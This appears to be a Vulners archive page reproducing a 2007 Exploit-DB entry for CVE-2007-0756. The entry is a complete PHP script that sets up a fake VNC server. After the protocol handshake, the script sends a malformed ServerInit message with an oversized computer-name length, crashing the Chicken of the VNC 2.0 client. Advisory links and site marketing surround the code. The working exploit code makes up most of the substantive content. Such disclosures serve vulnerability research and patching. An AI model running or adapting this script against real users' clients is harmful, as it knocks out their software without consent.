Lucene search
+L

Chicken of the VNC 2.0 - 'NULL-pointer' Remote Denial of Service

🗓️ 02 Feb 2007 00:00:00Reported by poplixType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Chicken of the VNC 2.0 - 'NULL-pointer' Remote Denial of Servic

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
Chicken of the VNC Hostname Size Denial of Service - Ver2 (CVE-2007-0756)
28 Dec 201400:00
checkpoint_advisories
cve
CVE
CVE-2007-0756
6 Feb 200702:00
cve
cvelist
Cvelist
CVE-2007-0756
6 Feb 200702:00
cvelist
euvd
EUVD
EUVD-2007-0753
6 Feb 200702:00
euvd
nvd
NVD
CVE-2007-0756
6 Feb 200702:28
nvd
prion
Prion
Out-of-bounds
6 Feb 200702:28
prion
<?
$port = "5900";

$BadServerInit=
"\x04\x00".                                     // fb-width
"\x03\x00".                                     // fb-hight
"\x20".                                         // bits per pixel
"\x18".                                         // depth
"\x00".                                         // big-endian flag
"\x01".                                         // true-color flag
"\x00\xff\x00\xff\x00\xff". 			// r-g-b max
"\x10\x08\x00".                         	// r-g-b shift
"\x00\x00\x00".                         	// padding
"\xff\xff\xff\xff".                     	// computer-name size
"DIE_PLZ";                                      // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007   poplix [@] papuasia.org listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
       if(substr($i,0,6) == "RFB 00") break;


print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
       if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>

# milw0rm.com [2007-02-02]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.8
EPSS0.04289
36